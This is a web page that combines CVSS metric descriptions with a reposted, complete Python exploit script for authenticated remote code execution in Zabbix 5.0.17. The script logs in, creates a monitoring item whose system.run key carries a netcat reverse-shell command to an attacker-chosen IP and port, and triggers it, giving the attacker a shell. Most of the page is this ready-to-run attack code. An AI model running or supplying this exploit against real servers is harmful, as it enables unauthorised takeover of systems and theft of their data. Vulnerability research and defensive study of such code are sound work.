The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Zabbix 5.0.17 Remote Code Execution
# Exploit Title: Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)
# Date: 9/3/2022
# Exploit Author: Hussien Misbah
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://www.zabbix.com/rn/rn5.0.17
# Version: 5.0.17
# Tested on: Linux
# Reference: https://github.com/HussienMisbah/tools/tree/master/Zabbix_exploit
#!/usr/bin/python3
# note : this is blind RCE so don't expect to see results on the site
# this exploit is tested against Zabbix 5.0.17 only
import sys
import requests
import re
import random
import string
import colorama
from colorama import Fore
print(Fore.YELLOW+"[*] this exploit is tested against Zabbix 5.0.17 only")
print(Fore.YELLOW+"[*] can reach the author @ https://hussienmisbah.github.io/")
def item_name() :
letters = string.ascii_letters
item = ''.join(random.choice(letters) for i in range(20))
return item
if len(sys.argv) != 6 :
print(Fore.RED +"[!] usage : ./expoit.py <target url> <username> <password> <attacker ip> <attacker port>")
sys.exit(-1)
url = sys.argv[1]
username =sys.argv[2]
password = sys.argv[3]
host = sys.argv[4]
port = sys.argv[5]
s = requests.Session()
headers ={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
}
data = {
"request":"hosts.php",
"name" : username ,
"password" : password ,
"autologin" :"1" ,
"enter":"Sign+in"
}
proxies = {
'http': 'http://127.0.0.1:8080'
}
r = s.post(url+"/index.php",data=data) #proxies=proxies)
if "Sign out" not in r.text :
print(Fore.RED +"[!] Authentication failed")
sys.exit(-1)
if "Zabbix 5.0.17" not in r.text :
print(Fore.RED +"[!] This is not Zabbix 5.0.17")
sys.exit(-1)
if "filter_hostids%5B0%5D=" in r.text :
try :
x = re.search('filter_hostids%5B0%5D=(.*?)"', r.text)
hostId = x.group(1)
except :
print(Fore.RED +"[!] Exploit failed to resolve HostID")
print(Fore.BLUE +"[?] you can find it under /items then add item")
sys.exit(-1)
else :
print(Fore.RED +"[!] Exploit failed to resolve HostID")
print(Fore.BLUE +"[?] you can find HostID under /items then add item")
sys.exit(-1)
sid= re.search('<meta name="csrf-token" content="(.*)"/>',r.text).group(1) # hidden_csrf_token
command=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {host} {port} >/tmp/f"
payload = f"system.run[{command},nowait]"
Random_name = item_name()
data2 ={
"sid":sid,"form_refresh":"1","form":"create","hostid":hostId,"selectedInterfaceId":"0","name":Random_name,"type":"0","key":payload,"url":"","query_fields[name][1]":"","query_fields[value][1]":"","timeout":"3s","post_type":"0","posts":"","headers[name][1]":"","headers[value][1]":"","status_codes":"200","follow_redirects":"1","retrieve_mode":"0","http_proxy":"","http_username":"","http_password":"","ssl_cert_file":"","ssl_key_file":"","ssl_key_password":"","interfaceid":"1","params_es":"","params_ap":"","params_f":"","value_type":"3","units":"","delay":"1m","delay_flex[0][type]":"0","delay_flex[0][delay]":"","delay_flex[0][schedule]":"","delay_flex[0][period]":"","history_mode":"1","history":"90d","trends_mode":"1","trends":"365d","valuemapid":"0","new_application":"","applications[]":"0","inventory_link":"0","description":"","status":"0","add":"Add"
}
r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"} )
no_pages= r2.text.count("?page=")
#################################################[Searching in all pages for the uploaded item]#################################################
page = 1
flag=False
while page <= no_pages :
r_page=s.get(url+f"/items.php?page={page}" ,headers=headers )
if Random_name in r_page.text :
print(Fore.GREEN+"[+] the payload has been Uploaded Successfully")
x2 = re.search(rf"(\d+)[^\d]>{Random_name}",r_page.text)
try :
itemId=x2.group(1)
except :
pass
print(Fore.GREEN+f"[+] you should find it at {url}/items.php?form=update&hostid={hostId}&itemid={itemId}")
flag=True
break
else :
page +=1
if flag==False :
print(Fore.BLUE +"[?] do you know you can't upload same key twice ?")
print(Fore.BLUE +"[?] maybe it is already uploaded so set the listener and wait 1m")
print(Fore.BLUE +"[*] change the port and try again")
sys.exit(-1)
#################################################[Executing the item]#################################################
data2["form"] ="update"
data2["selectedInterfaceId"] = "1"
data2["check_now"]="Execute+now"
data2.pop("add",None)
data2["itemid"]=itemId,
print(Fore.GREEN+f"[+] set the listener at {port} please...")
r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"}) # ,proxies=proxies )
print(Fore.BLUE+ "[?] note : it takes up to +1 min so be patient :)")
answer =input(Fore.BLUE+"[+] got a shell ? [y]es/[N]o: ")
if "y" in answer.lower() :
print(Fore.GREEN+"Nice !")
else :
print(Fore.RED+"[!] if you find out why please contact me ")
sys.exit(0)
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